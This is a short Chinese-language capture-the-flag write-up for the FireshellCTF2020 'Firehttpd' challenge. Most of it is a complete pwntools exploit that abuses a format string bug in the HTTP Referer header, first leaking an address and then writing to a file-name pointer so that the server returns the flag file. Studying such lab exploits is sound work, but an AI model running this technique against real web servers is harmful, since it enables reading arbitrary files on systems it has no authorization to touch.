[FireshellCTF2020]Firehttpd
首先,检查一下程序的保护机制
然后,我们用IDA分析一下,在referer字段的解析里存在格式化字符串漏洞,由于是主进程fork子进程,因此,我们泄露的数据第二次不会改变仍然可以使用。
那么,我们利用格式化字符串漏洞,将文件名指针修改指向我们可控的地址,这样就可以读取我们想要的文件了。
#coding:utf8
from pwn import *
ip = 'node3.buuoj.cn'
port = 28726
sh = remote(ip,port)
#泄露文件名的地址
payload = 'GET /index.html HTTP/1.1\r\n'
payload += 'Referer: %5$p\r\n\r\n'
sh.send(payload)
sh.recvuntil('Referer: ')
name_addr = int(sh.recvuntil('\n',drop = True),16)
print 'name_addr=',hex(name_addr)
sh.close()
sh = remote(ip,port)
#修改文件名指针指向我们可控的地方
flag_str = name_addr - 0xA98
data = {0:0}
i = 0
flag_str = flag_str & 0xFFFF
while flag_str >0:
data[i] = flag_str & 0xFF
flag_str = flag_str >> 8
i = i + 1
data = sorted(data.items(), key=lambda d:d[1])
pay = ''
prev = 9
for x in data:
print x[0],x[1]
pay += '%' + str(x[1]-prev) + 'c%' + str(18+x[0]) + '$hhn'
prev = x[1]
pay = pay.ljust(47,'b')
pay += p64(name_addr - 0xB10)
pay += p64(name_addr - 0xB0F)
pay += 'flag\x00' #我们要读取的文件
payload = 'GET /index.html HTTP/1.1\r\n'
payload += 'Referer: {}\r\n\r\n'.format(pay)
sh.send(payload)
sh.interactive()